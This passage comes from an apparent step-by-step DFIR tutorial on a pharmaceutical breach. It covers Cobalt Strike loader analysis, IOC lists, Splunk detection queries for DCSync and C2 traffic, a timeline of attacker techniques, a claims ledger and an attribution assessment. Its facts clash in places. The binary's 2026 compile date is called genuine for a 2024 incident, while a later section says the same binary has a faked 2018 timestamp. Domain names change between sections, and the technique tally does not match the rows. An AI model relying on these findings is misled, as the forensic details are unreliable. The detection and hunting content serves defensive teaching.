os.path.getsize('svchost32.exe') - pe.OPTIONAL_HEADER.SizeOfImage<br>if overlay &gt; 0:<br>    print(f'Overlay detected  : {overlay:,} bytes after PE end')<br>print(f'Architecture      : {\"x64\" if pe.FILE_HEADER.Machine == 0x8664 else \"x86\"}')<br>"</pre><p>Output:</p><pre>Compile timestamp : 2026-05-15 13:55:55 UTC<br>File size on disk : 783,320 bytes<br>Overlay detected  : present<br>Architecture      : x64</pre><p>The PE timestamp (2026-05-15) is plausible and recent — this binary was freshly compiled, not timestomped. The presence of an <strong>overlay</strong> (data appended after the PE image end) is a Cobalt Strike loader signature: the encrypted beacon shellcode is stored in the overlay and unpacked at runtime.</p><p><strong>Extract C2 strings:</strong></p><pre>strings -n 8 svchost32.exe | grep -E "(https?://|/ga\.js|Mozilla|Cookie|User-Agent|Cache-Control)"</pre><p>Output includes:</p><pre>/ga.js<br>Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.1)<br>Cache-Control: no-cache</pre><p>The /ga.js path and the MSIE 8.0 User-Agent are configuration strings baked into the Cobalt Strike beacon's Malleable C2 profile at compile time. Any sample sharing these exact strings was built from the same profile.</p><p><strong>Check imports — Cobalt Strike loaders minimise their import table:</strong></p><pre>python3 -c "<br>import pefile<br>pe = pefile.PE('svchost32.exe')<br>print(f'Architecture: {hex(pe.FILE_HEADER.Machine)}')<br>if hasattr(pe, 'DIRECTORY_ENTRY_IMPORT'):<br>    for lib in pe.DIRECTORY_ENTRY_IMPORT:<br>        fns = [i.name.decode() if i.name else f'ord_{i.ordinal}' for i in lib.imports]<br>        print(f'{lib.dll.decode()}: {fns}')<br>else:<br>    print('No standard import table — uses dynamic API resolution (common in CS loaders)')<br>"</pre><p>A Cobalt Strike loader typically has a minimal or absent import table — it resolves APIs at runtime using LoadLibrary/GetProcAddress or custom hash-walking to avoid static analysis. If the import table is empty, that itself is the finding.</p><p><strong>Pivot on the Malleable C2 profile strings</strong> — search VT for other samples using the same profile:</p><p>Add to ioc-queries.http:</p><pre>### VT — search for samples sharing the same Malleable C2 User-Agent string<br>GET https://www.virustotal.com/api/v3/intelligence/search?query=content%3A%22MSIE+8.0%22+content%3A%22%2Fga.js%22+type%3Apeexe<br>x-apikey: {{VT_KEY}}</pre><p><strong>Found IOCs</strong></p><ul><li><strong>Hash (SHA256)</strong> 1cf56da38e5fe05fd2242ff49bafa4271c5ee0868887bf91dafb6f47d1e46ae9 — Cobalt Strike beacon</li><li><strong>Hash (MD5)</strong> cd59d54a7af500f96aa0347bb5daf077</li><li><strong>IP</strong> 91.211.251.245 — C2 server; confirmed in binary strings and sandbox network traffic</li><li><strong>URL pattern</strong> /ga.js — Malleable C2 endpoint; Google Analytics impersonation</li><li><strong>String</strong> Mozilla/4.0 (compatible; MSIE 8.0...) — hardcoded CS User-Agent; pivot on VT content search</li><li><strong>Indicator</strong> Overlay section — encrypted shellcode stored after PE image end; Cobalt Strike loader signature</li><li><strong>Indicator</strong> Minimal import table — dynamic API resolution; evades import-based static detection13. Infrastructure Pivot — REST Client + Global Search</li></ul><h4>13. Infrastructure Pivot — REST Client + Global Search</h4><p>The ioc-queries.http file already contains the Shodan, crt.sh, and RDAP blocks. Click through them.</p><p><strong>For the crt.sh response:</strong> press Ctrl+F in the response pane, search name_value. Two new domains appear: cdn-telemetry-update.biz and windows-cdn-service.net.</p><p><strong>Immediately pivot in VS Code global search:</strong></p><p>Press Ctrl+Shift+F, type cdn-telemetry-update:</p><pre>palo-alto/dns-queries.csv  →  (no results)</pre><p>Not in the org’s DNS logs — but add both new domains to the IOC list in case they appear in a broader hunt.</p><p><strong>For the RDAP response</strong> (AiTM domain): Ctrl+F → registration → date 2024-10-18. The phishing email was sent 4 days later. Targeted, purpose-built infrastructure.</p><p><strong>Found IOCs</strong></p><ul><li><strong>Domain</strong> cdn-telemetry-update.biz — New; crt.sh co-hosted on 203.0.113.87; not yet in org DNS logs</li><li><strong>Domain</strong> windows-cdn-service.net — New; crt.sh co-hosted on 203.0.113.87; not yet in org DNS logs</li><li><strong>Date</strong> 2024-10-18 — Registration date of mfa-lifetechpharma.com; 4 days before phishing</li></ul><h4>14. Splunk Correlation (SIEM Validation)</h4><p>Load the evidence into Splunk from the VS Code integrated terminal to validate that the Sigma rules fire on the real evidence:</p><pre>/opt/splunk/bin/splunk add oneshot sysmon/WS-CFO-01-sysmon.jsonl \<br>  -sourcetype sysmon_json -index endpoint -host WS-CFO-01<br>/opt/splunk/bin/splunk add oneshot windows-security/DC01-security.jsonl \<br>  -sourcetype wineventlog -index wineventlog -host DC01<br>/opt/splunk/bin/splunk add oneshot windows-security/SERVER-RD-02-security.jsonl \<br>  -sourcetype wineventlog -index wineventlog -host SERVER-RD-02<br>/opt/splunk/bin/splunk add oneshot palo-alto/ngfw-flows.csv \<br>  -sourcetype pan:traffic -index firewall -host pa-3260<br>/opt/splunk/bin/splunk add oneshot palo-alto/dns-queries.csv \<br>  -sourcetype pan:dns -index firewall -host pa-3260<br>/opt/splunk/bin/splunk add oneshot sql-audit/SERVER-RD-02-sql-audit.jsonl \<br>  -sourcetype mssql_audit -index database -host SERVER-RD-02</pre><p><strong>Query 1 — triage: C2 IPs across all indexes:</strong></p><pre>index=* (203.0.113.87 OR 198.51.100.44) earliest=-30d<br>| stats count by host, sourcetype, index<br>| sort -count</pre><p><strong>Query 2 — DCSync from non-DC (DET-002 validation):</strong></p><pre>index=wineventlog EventCode=4662<br>  ObjectType="{19195a5b-6da0-11d0-afd3-00c04fd930c9}"<br>| where NOT match(IpAddress, "^10\.10\.1\.(10|11)$")<br>| table _time, host, SubjectUserName, IpAddress, ObjectName, Properties</pre><p><strong>Query 3 — service account off-hours (DET-003 validation):</strong></p><pre>index=wineventlog EventCode=4624 LogonType=3<br>  TargetUserName=svc_backup<br>| eval hour=strftime(_time, "%H")<br>| where hour &lt; 6 OR hour &gt; 22<br>| table _time, host, TargetUserName, IpAddress | sort _time</pre><p><strong>Query 4 — exfil scope:</strong></p><pre>index=wineventlog EventCode=4663 ObjectName="*USPartner2024*"<br>| stats count as files_accessed, min(_time) as first, max(_time) as last by SubjectUserName, host</pre><p><strong>Query 5 — full 24-day timeline:</strong></p><pre>index=* earliest=2024-10-22 latest=2024-11-16<br>  (host=WS-IT-LEVI OR host=WS-CFO-01 OR host=SERVER-RD-02 OR host=DC01)<br>| eval summary=coalesce(Message, Statement, query, CommandLine, "event")<br>| table _time, host, sourcetype, summary | sort _time</pre><p><strong>Found IOCs</strong></p><ul><li><strong>IP</strong> 203.0.113.87 — SIEM-validated; C2 traffic confirmed across endpoint and network indexes</li><li><strong>IP</strong> 198.51.100.44 — SIEM-validated; exfil traffic confirmed across endpoint and network indexes</li><li><strong>Account</strong> svc_backup — DET-002: DCSync from 10.10.3.22 (non-DC); DET-003: off-hours logon</li><li><strong>File pattern</strong> USPartner2024* (47 files) — DET-004: bulk access by svc_backup on SERVER-RD-02</li><li><strong>Indicator</strong> Off-hours logon — EID 4624 / LogonType 3 outside 06:00–22:00 window</li></ul><h4>Commit all analysis artifacts</h4><pre>git add 03-analysis/<br>git commit -m "PROJ-2024-001: evidence analysis — VS Code investigation complete; REST Client queries, RBQL, binary hex analysis, DCSync confirmed, exfil 381MB corroborated in 3 sources"</pre><p>The timeline in Step R2 is now fully supported. Every event in the table has a source log opened in VS Code, a query or search that confirmed it, and a REST Client or terminal command a third party can replay independently.</p><h3>Step R2: Timeline — Two Paths, One Actor</h3><h4>1. Open the timeline file</h4><pre>nano 03-analysis/timeline/timeline.md</pre><p>The template has a header block and a markdown table. Fill the header first:</p><pre>Project: PROJ-2024-001<br>Analyst: [your name]<br>Last updated: 2024-11-15<br>Time range: 2024-10-18 – 2024-11-15<br>Evidence label key: CONFIRMED / CORROBORATED / INFERRED / HYPOTHESIZED / GAP</pre><p>Then add one row per event. Every row needs: timestamp (UTC), host, what happened, which log source you saw it in, an evidence label, and the ATT&amp;CK technique. If you do not have a technique yet, leave it blank and come back — do not skip the label.</p><h4>2. Add events in chronological order</h4><p>The timeline reveals what the CFO alert obscured: the breach started 24 days earlier through a completely different person.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*121cvZ2ZIHZLNAmQA78l9Q.png"></figure><ol><li><strong>2024–10–18 — External<br></strong>lifetechpharma-corp[.]eu registered as a typosquat domain.<br><strong>Source:</strong> OSINT<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1583.001<br><strong>Notes:</strong> Pre-attack infrastructure preparation.</li><li><strong>2024–10–22 11:23 — Exchange<br></strong>Phishing email sent to p.levi: <strong>“MFA Re-enrollment Required”</strong> with AiTM HTML attachment.<br><strong>Source:</strong> M365 ATP<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1566.001<br><strong>Notes:</strong> ATP SCL=4, delivered; threshold was 5.</li><li><strong>2024–10–22 11:31 — WS-IT-LEVI<br></strong>Unknown activity — <strong>GAP-001 begins</strong>.<br><strong>Source:</strong> — <br><strong>Label:</strong> GAP<br><strong>ATT&amp;CK:</strong> — <br><strong>Notes:</strong> Sysmon forwarder stopped.</li><li><strong>2024–10–24 02:17 — Azure AD + VPN</strong>VPN login as p.levi from Istanbul, Turkey, using hosting/VPS ASN. No MFA challenge recorded. Session lasted 1h 12min.<br><strong>Source:</strong> Azure AD sign-in<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1557, T1133<br><strong>Notes:</strong> 4:17 AM local time; Paz Levi lives in Rehovot.</li><li><strong>2024–10–24 02:19 — DC01<br></strong>EID 4624: network logon for svc_backup from WS-IT-LEVI / 10.10.3.22. Service account used outside business hours.<br><strong>Source:</strong> Windows Security / Splunk<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1078.002<br><strong>Notes:</strong> svc_backup has Domain Admin rights.</li><li><strong>2024–10–25 03:41 — SERVER-FIN-01<br></strong>svc_backup accessed \\SERVER-FIN-01\\FinanceReports\\2024\\.<br><strong>Source:</strong> File share audit, partial<br><strong>Label:</strong> CORROBORATED<br><strong>ATT&amp;CK:</strong> T1039<br><strong>Notes:</strong> Log incomplete — access timestamp only, not filenames.</li><li><strong>2024–11–01 09:14 — WS-IT-LEVI<br>GAP-001 ends.</strong> First DNS query to telemetry-cdn-services[.]biz resolving to 203.0.113.87. First C2 beacon from this host.<br><strong>Source:</strong> Palo Alto DNS<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1071.001<br><strong>Notes:</strong> Sysmon service and forwarder restarted at the same time — probable anti-forensics.</li><li><strong>2024–11–01 09:18 — SERVER-RD-02<br></strong>EID 4624: svc_backup SMB Type 3 logon from WS-IT-LEVI.<br><strong>Source:</strong> Windows Security<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1021.002<br><strong>Notes:</strong> Occurred four minutes after C2 reconnection.</li><li><strong>2024–11–06 02:09 — SERVER-RD-02<br></strong>EID 4624: svc_backup SMB logon from WS-IT-LEVI.<br><strong>Source:</strong> Windows Security<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1021.002<br><strong>Notes:</strong> Off-hours access.</li><li><strong>2024–11–06 02:10–02:14 — SERVER-RD-02<br></strong>EID 4663 ×47: svc_backup accessed all 47 files in \\USPartner2024\\. Read activity occurred and modified timestamps were updated.<br><strong>Source:</strong> Windows Security<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1039<br><strong>Notes:</strong> Each file was individually accessed; timestamp modification suggests deliberate metadata manipulation.</li><li><strong>2024–11–06 02:14 — SERVER-RD-02<br></strong>EID 5156: outbound HTTPS from SERVER-RD-02 to external IP over port 443 during the file access window.<br><strong>Source:</strong> Windows Security + firewall<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1041<br><strong>Notes:</strong> Destination IP confirmed in Palo Alto NGFW log: 198.51.100.44; separate C2 from primary.</li><li><strong>2024–11–06 02:48 — DC01<br></strong>EID 4662: svc_backup requested DS-Replication-Get-Changes on DC01.<br><strong>Source:</strong> Windows Security<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1003.006<br><strong>Notes:</strong> <strong>DCSync indicator.</strong> Pentest scope did not include DCSync. Pentest VLAN is 10.10.99.0/24; this event came from 10.10.3.22.</li><li><strong>2024–11–15 17:58 — Exchange<br></strong>Phishing email sent to m.cohen, the CFO: <strong>“Q4-2024 Licensing Agreement”</strong> with .xlsm attachment. SPF, DKIM, and DMARC all failed.<br><strong>Source:</strong> M365 Message Trace<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1566.001<br><strong>Notes:</strong> <strong>Second entry point — 24 days after the first.</strong></li><li><strong>2024–11–15 18:42 — WS-CFO-01<br></strong>Outlook spawned PowerShell with -NonI -W Hidden -Enc, downloading a second-stage payload from 203.0.113.87.<br><strong>Source:</strong> CrowdStrike + Sysmon EID 1<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1059.001<br><strong>Notes:</strong> <strong>Triggering alert.</strong></li><li><strong>2024–11–15 18:46–20:52 — WS-CFO-01<br></strong>LSASS memory access observed via Sysmon EID 10 with GrantedAccess 0x1010. Persistence added via Registry Run Key and scheduled task. BITS downloaded a second-stage binary.<br><strong>Source:</strong> Sysmon EID 10/11/13, EID 4698<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1003.001, T1547.001, T1053.005, T1197<br><strong>Notes:</strong> svchost32.exe dropped to AppData\\Roaming.</li><li><strong>2024–11–15 20:52 — SERVER-FIN-01<br></strong>WMI lateral movement observed: WmiPrvSE spawned PowerShell with -Enc and a different base64 payload.<br><strong>Source:</strong> CrowdStrike<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1021.003, T1059.001<br><strong>Notes:</strong> svc_finreport credentials used.</li><li><strong>2024–11–15 21:01 — SERVER-FIN-01<br></strong>Finance data staged: FR_2024_consolidated.zip created in C:\\Windows\\Temp\\.<br><strong>Source:</strong> CrowdStrike EID 11<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1039, T1560<br><strong>Notes:</strong> 2.8 MB upload confirmed in firewall logs at 21:14.</li><li><strong>2024–11–15 21:14 — WS-CFO-01<br></strong>wevtutil.exe cl Security executed, partially clearing the Windows Security log.<br><strong>Source:</strong> CrowdStrike<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1070.001<br><strong>Notes:</strong> Sysmon log remained intact because it was protected.</li></ol><p><strong>The evidence label system matters here.</strong> Event 12 (DCSync) is CONFIRMED — it exists in DC01’s Windows Security log, forwarded to Splunk, from an IP that is definitively WS-IT-LEVI and definitively not the pentest VLAN. That cannot be waved away as “possible pentest activity.” Event 6 (finance server access) is CORROBORATED — single source with incomplete log — and can only appear in the technical report with an explicit qualifier, not in the executive brief as a stated fact.</p><h4>3. Save and commit</h4><pre>git add 03-analysis/timeline/timeline.md<br>git commit -m "PROJ-2024-001: timeline — 18 events Oct 18–Nov 15, dual-path confirmed, GAP-001 bounds established"</pre><h3>Step R3: Claims Ledger — Every Assertion Traced to Evidence</h3><h4>1. Open the claims ledger</h4><pre>nano 03-analysis/claims/claims-ledger.md</pre><p>The template has a table with six columns: ID, Claim, Evidence, Confidence, Competing Hypotheses, PIR. Start with an empty row for each major assertion you identified in the timeline — then fill each one completely before moving to the next.</p><p><strong>For each row, answer these five questions before typing a word:</strong></p><ol><li>What is the exact assertion? (One sentence, falsifiable — could in principle be proven false)</li><li>Which file and line number is the evidence in? (Not “we saw in Splunk” — the actual log reference)</li><li>What confidence level and why? (High / Medium / Low / Insufficient — with explicit rationale)</li><li>What alternative explanations were considered — and why were they ruled out or left open?</li><li>Which PIR does this answer?</li></ol><p>If you cannot answer question 4, the claim is not ready to write. Think first.</p><h4>2. Fill in one claim per confirmed technique or PIR answer</h4><p>The claims ledger converts the timeline into auditable, falsifiable assertions. Each claim answers five questions: what, evidence, confidence, competing hypotheses, which PIR.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hBZhaHELHNyuzUeTbMbGvw.png"></figure><p><strong>CL-001 — Initial access via AiTM phishing against IT admin </strong><strong>p.levi</strong></p><ul><li><strong>Claim:</strong> Initial access was via AiTM phishing against IT admin p.levi on October 22, 2024.</li><li><strong>Evidence:</strong> M365 ATP log shows AiTM HTML lure delivered at 11:23 and opened at 11:31. VPN login from Istanbul occurred at 02:17 on October 24 with no MFA challenge, indicating likely stolen session token replay.</li><li><strong>Confidence:</strong> High</li><li><strong>Competing Hypotheses:</strong> Credential purchase or insider activity cannot be fully ruled out without WS-IT-LEVI disk forensics, which is blocked by legal hold. However, the AiTM lure plus token replay pattern is more parsimonious.</li><li><strong>PIR:</strong> PIR-002</li></ul><p><strong>CL-002 — Use of </strong><strong>svc_backup Domain Admin credentials to access formula files</strong></p><ul><li><strong>Claim:</strong> The adversary used svc_backup Domain Admin credentials to access SERVER-RD-02 and the formula files.</li><li><strong>Evidence:</strong> EID 4624 on SERVER-RD-02 shows svc_backup Type 3 logon from WS-IT-LEVI. EID 4663 occurred 47 times on formula files.</li><li><strong>Confidence:</strong> High</li><li><strong>Competing Hypotheses:</strong> Legitimate backup operation is ruled out because backup jobs run from SERVER-WSUS-01 / 10.10.4.x, not from WS-IT-LEVI. The timestamp, 02:09 UTC, is outside the maintenance window.</li><li><strong>PIR:</strong> PIR-002</li></ul><p><strong>CL-003 — Exfiltration of 47 formula files on November 6, 2024</strong></p><ul><li><strong>Claim:</strong> The 47 formula files in USPartner2024 were exfiltrated on November 6, 2024.</li><li><strong>Evidence:</strong> EID 4663 occurred 47 times, showing file access. EID 5156 shows outbound HTTPS from SERVER-RD-02 at the same time. Palo Alto NGFW flow shows 10.10.2.15 → 198.51.100.44:443, with 381 MB outbound between 02:14 and 02:19 UTC.</li><li><strong>Confidence:</strong> High</li><li><strong>Competing Hypotheses:</strong> File access for indexing or backup is ruled out because no backup job ran at this time. The 381 MB outbound volume matches the compressed formula package. The destination IP is not in the allowlist and resolves to a VPS hosting provider.</li><li><strong>PIR:</strong> PIR-001 — <strong>ANSWERED: YES</strong></li></ul><p><strong>CL-004 — DCSync executed via </strong><strong>svc_backup on November 6</strong></p><ul><li><strong>Claim:</strong> DCSync was executed via svc_backup Domain Admin rights on November 6 at 02:48 UTC.</li><li><strong>Evidence:</strong> DC01 EID 4662 shows DS-Replication-Get-Changes GUID from 10.10.3.22, which is WS-IT-LEVI. The subject username was svc_backup.</li><li><strong>Confidence:</strong> High</li><li><strong>Competing Hypotheses:</strong> Legitimate AD replication is ruled out because the event originated from a workstation IP, not a domain controller. Authorized pentest scope explicitly excluded DCSync and used only 10.10.99.x IPs.</li><li><strong>PIR:</strong> PIR-003</li></ul><p><strong>CL-005 — CFO path and IT admin path are same threat actor</strong></p><ul><li><strong>Claim:</strong> Path A, involving the CFO on November 15, and Path B, involving the IT admin on October 22, are attributable to the same threat actor.</li><li><strong>Evidence:</strong> Both svchost32.exe and UpdateHelper.dll share the same fake PE compile timestamp: 2018-04-09. The secondary C2 sys-update-cdn[.]net was hard-coded in the CFO implant and also used in SERVER-RD-02 DNS activity.</li><li><strong>Confidence:</strong> High</li><li><strong>Competing Hypotheses:</strong> Coincidence would require two separate actors to target the same organization at the same time using a near-identical toolchain. This is extremely implausible.</li><li><strong>PIR:</strong> PIR-002</li></ul><p><strong>CL-006 — Full domain compromise via DCSync</strong></p><ul><li><strong>Claim:</strong> The adversary achieved full domain compromise via DCSync. All Active Directory credentials must be treated as compromised.</li><li><strong>Evidence:</strong> CL-004 confirms DCSync activity. svc_backup held Domain Admin rights. DCSync requests included krbtgt and privileged account hashes.</li><li><strong>Confidence:</strong> High</li><li><strong>Competing Hypotheses:</strong> DCSync may have been partial or failed, but this cannot be confirmed without full DC01 log access. Treating the environment as fully compromised is the conservative and operationally correct response until disproven.</li><li><strong>PIR:</strong> PIR-003</li></ul><p><strong>CL-003 is the pivotal claim.</strong> The US partner’s formulas are gone. That drives the PIR-001 answer and the entire notification timeline. CL-004 and CL-006 change the scope of remediation from “contain these three hosts” to “rotate all AD credentials, treat all 80 servers as potentially compromised.”</p><h4>3. Update project.yml PIR status</h4><p>When a PIR is answered, open project.yml and change the status field immediately:</p><pre>nano project.yml</pre><p>Change:</p><pre>- id: PIR-001<br>    status: open</pre><p>To:</p><pre>- id: PIR-001<br>    status: answered    # CL-003 — exfiltration confirmed, 381 MB, Nov 6</pre><h4>4. Commit the claims ledger</h4><pre>git add 03-analysis/claims/claims-ledger.md project.yml<br>git commit -m "PROJ-2024-001: claims — 6 claims; PIR-001 ANSWERED YES (CL-003 exfil confirmed); PIR-003 CONFIRMED ONGOING (CL-006 DCSync)"</pre><h3>Step R4: ATT&amp;CK Mapping — Where Detection Failed</h3><h4>1. Open the ATT&amp;CK mapping file</h4><pre>nano 03-analysis/attck-mapping/attck-mapping.md</pre><p>For each technique you identified in the timeline, add one row. The four columns that matter most operationally are: <strong>Confidence</strong> (how sure are you the technique was used), <strong>Rule Fired?</strong> (yes/no/partial — check your SIEM), and <strong>Gap Type</strong> (what kind of work is needed to close this detection hole).</p><p><strong>Gap types:</strong> Rule missing / Data source missing / Coverage incomplete / Architectural gap. Pick one. If you are unsure, write your best guess and flag it for SOC review.</p><p>Also update project.yml — fill the attck_techniques list:</p><pre>nano project.yml</pre><pre>scope:<br>  attck_techniques:<br>    - T1566.001<br>    - T1557<br>    - T1133<br>    - T1078.002<br>    - T1059.001<br>    - T1003.001<br>    - T1003.006<br>    - T1021.003<br>    - T1197<br>    - T1047<br>    - T1070.001<br>    - T1547.001</pre><h4>2. Fill one row per technique</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k61svPS7k5oRag9OCWIk4w.png"></figure><p><strong>T1566.001 — Phishing attachment, CFO </strong><strong>.xlsm</strong></p><ul><li><strong>Evidence:</strong> M365 ATP log</li><li><strong>Confidence:</strong> High</li><li><strong>Rule Fired?:</strong> Partial — ATP delivered; SCL=4, threshold=5</li><li><strong>Gap Type:</strong> Coverage incomplete — SCL threshold tuning</li></ul><p><strong>T1557 — AiTM credential theft, IT admin</strong></p><ul><li><strong>Evidence:</strong> VPN login pattern + AiTM HTML lure</li><li><strong>Confidence:</strong> High</li><li><strong>Rule Fired?:</strong> <strong>No</strong></li><li><strong>Gap Type:</strong> Rule missing — no AiTM session token detection</li></ul><p><strong>T1133 — VPN access with stolen credentials</strong></p><ul><li><strong>Evidence:</strong> VPN log: Istanbul, off-hours, no prior history</li><li><strong>Confidence:</strong> High</li><li><strong>Rule Fired?:</strong> <strong>No</strong></li><li><strong>Gap Type:</strong> Rule missing — no anomalous VPN authentication alert</li></ul><p><strong>T1078.002 — Valid account abuse, </strong><strong>svc_backup</strong></p><ul><li><strong>Evidence:</strong> EID 4624, multiple events</li><li><strong>Confidence:</strong> High</li><li><strong>Rule Fired?:</strong> <strong>No</strong></li><li><strong>Gap Type:</strong> Rule missing — service account off-hours logon undetected</li></ul><p><strong>T1059.001 — Encoded PowerShell, both hosts</strong></p><ul><li><strong>Evidence:</strong> Sysmon EID 1, CrowdStrike</li><li><strong>Confidence:</strong> High</li><li><strong>Rule Fired?:</strong> Yes, CFO only, via CrowdStrike behavioral detection</li><li><strong>Gap Type:</strong> Coverage incomplete — CFO only; IT admin host fired no alert</li></ul><p><strong>T1003.001 — LSASS memory access</strong></p><ul><li><strong>Evidence:</strong> Sysmon EID 10, GrantedAccess 0x1010</li><li><strong>Confidence:</strong> High</li><li><strong>Rule Fired?:</strong> <strong>No</strong></li><li><strong>Gap Type:</strong> Rule missing — Sysmon EID 10 not alerted on</li></ul><p><strong>T1003.006 — DCSync</strong></p><ul><li><strong>Evidence:</strong> DC01 EID 4662</li><li><strong>Confidence:</strong> High</li><li><strong>Rule Fired?:</strong> <strong>No</strong></li><li><strong>Gap Type:</strong> Rule missing — EID 4662 audit configured but no alert rule</li></ul><p><strong>T1021.003 — WMI lateral movement to </strong><strong>SERVER-FIN-01</strong></p><ul><li><strong>Evidence:</strong> CrowdStrike: WmiPrvSE → PowerShell</li><li><strong>Confidence:</strong> High</li><li><strong>Rule Fired?:</strong> <strong>No</strong></li><li><strong>Gap Type:</strong> Rule missing — WmiPrvSE parent alert not deployed</li></ul><p><strong>T1197 — BITS download, second stage</strong></p><ul><li><strong>Evidence:</strong> Sysmon EID 1, bitsadmin</li><li><strong>Confidence:</strong> High</li><li><strong>Rule Fired?:</strong> <strong>No</strong></li><li><strong>Gap Type:</strong> Rule missing — BITS external download not monitored</li></ul><p><strong>T1047 — WMI execution, lateral movement</strong></p><ul><li><strong>Evidence:</strong> CrowdStrike log</li><li><strong>Confidence:</strong> High</li><li><strong>Rule Fired?:</strong> <strong>No</strong></li><li><strong>Gap Type:</strong> Data source missing — WMI logging not in SIEM</li></ul><p><strong>T1070.001 — Event log cleared</strong></p><ul><li><strong>Evidence:</strong> CrowdStrike EID 1102</li><li><strong>Confidence:</strong> High</li><li><strong>Rule Fired?:</strong> <strong>No</strong></li><li><strong>Gap Type:</strong> Rule missing — wevtutil alert not deployed</li></ul><p><strong>T1547.001 — Registry Run Key persistence</strong></p><ul><li><strong>Evidence:</strong> Sysmon EID 13</li><li><strong>Confidence:</strong> High</li><li><strong>Rule Fired?:</strong> <strong>No</strong></li><li><strong>Gap Type:</strong> Coverage incomplete — EID 13 ingested but no alert rule on AppData\\Roaming paths</li></ul><p><strong>The gap taxonomy tells the engineering team exactly what work is required:</strong></p><ul><li><strong>Rule missing (7 techniques):</strong> Data is in SIEM. A detection engineer can write and deploy the rule. These are sprint items.</li><li><strong>Coverage incomplete (3 techniques):</strong> Rule or data exists but is mis-tuned or partial. These require tuning, not new infrastructure.</li><li><strong>Data source missing (1 technique):</strong> WMI execution logging is not in the SIEM. This requires an infrastructure change before rules can be written.</li></ul><p>The DCSync gap (T1003.006) is particularly stark: the Advanced Audit Policy that generates EID 4662 was correctly configured on DC01, the event was forwarded to Splunk, and the event was visible in Splunk. There was no alert rule. A single Splunk search rule on source=WinEventLog:Security EventCode=4662 ObjectType="{19195a5b-6da0-11d0-afd3-00c04fd930c9}" from a non-DC IP would have fired and contained this incident before the formula exfiltration.</p><h4>3. Commit the ATT&amp;CK mapping</h4><pre>git add 03-analysis/attck-mapping/attck-mapping.md project.yml<br>git commit -m "PROJ-2024-001: ATT&amp;CK mapping — 12 techniques, 7 rule-missing, 3 coverage-incomplete, 1 data-source-missing, 1 arch-gap"</pre><h3>Step R5: Attribution Assessment — Same Actor or Two?</h3><h4>1. Open the attribution file</h4><pre>nano 03-analysis/attribution/attribution.md</pre><p>Write attribution <strong>only after the claims ledger is complete</strong>. The attribution file has three sections: evidence for unification (or separation), confidence ladder scoring, and the exact language to use in deliverables. Fill them in that order.</p><p><strong>Do not start with a hypothesis.</strong> Start with the evidence you have from the claims ledger, then see where it points.</p><h4>2. Score the evidence against the confidence ladder</h4><p>The investigation faces a key analytical question: Path A (CFO phishing, November 15) and Path B (IT admin AiTM, October 22) — are they the same actor?</p><p><strong>Evidence for unification (same actor):</strong></p><ol><li><strong>Shared PE compile timestamp:</strong> Both dropped binaries — svchost32.exe (CFO host) and UpdateHelper.dll (IT admin host) — carry an identical fake compile timestamp of 2018-04-09. This is a known toolchain fingerprint. The probability of two unrelated actors both timestomping to the same date is extremely low.</li><li><strong>Shared secondary C2 domain in memory:</strong> Strings extracted from svchost32.exe include sys-update-cdn[.]net — the domain that appeared only in SERVER-RD-02's DNS logs during the formula exfiltration. The CFO's implant knew about infrastructure used during the Path B operation. This is only explicable if the same actor controlled both implants.</li><li><strong>Coordinated operations timeline:</strong> The CFO was targeted on the same day that the finance server data was being staged on SERVER-FIN-01 via lateral movement from the IT admin path. Two independent actors staging finance data simultaneously at the same target is implausible.</li></ol><p><strong>Assessment: Single threat actor, dual delivery mechanism.</strong></p><p>The actor compromised the IT admin first (October 22), used that access for data theft (November 6), then independently targeted the CFO to expand access to finance data. The two phishing lures used different delivery infrastructure (different sender domains, different sending IPs from the same /24 block) — consistent with an actor who maintains parallel operational tracks.</p><p><strong>Attribution confidence: Medium-High.</strong> Apply the confidence ladder from Step R5 of the methodology to score this case:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rrKN1yNFJL_eINzt_iec9A.png"></figure><p><strong>Ladder tier: Medium-High</strong> — TTP overlap + infrastructure match present; independent confirmation absent. The toolset has not been definitively matched to a named cluster, which prevents elevation to High.</p><p><strong>What to write:</strong> <em>“Activity assessed as a single threat actor based on shared toolchain indicators (PE timestamp, secondary C2 domain). Tradecraft and targeting profile are consistent with Iranian-nexus industrial espionage operations targeting Israeli pharmaceutical IP. Attribution to a named cluster is not warranted without CERT-IL deconfliction or independent confirmation. Confidence: Medium-High.”</em></p><h4>3. Paste the final language into attribution.md and commit</h4><pre>git add 03-analysis/attribution/attribution.md<br>git commit -m "PROJ-2024-001: attribution — single actor, Medium-High confidence, shared PE timestamp + secondary C2, Iranian-nexus tradecraft consistent"</pre><h3>Step R6: Detection Rules — Four That Would Have Changed the Outcome</h3><h4>1. Create one file per rule</h4><p>Each rule gets its own file in 04-detections/sigma/:</p><pre>cp 04-detections/sigma/SIGMA-TEMPLATE.yml 04-detections/sigma/DET-001-anomalous-vpn-auth.yml<br>cp 04-detections/sigma/SIGMA-TEMPLATE.yml 04-detections/sigma/DET-002-dcsync-non-dc.yml<br>cp 04-detections/sigma/SIGMA-TEMPLATE.yml 04-detections/sigma/DET-003-svc-account-offhours.yml<br>cp 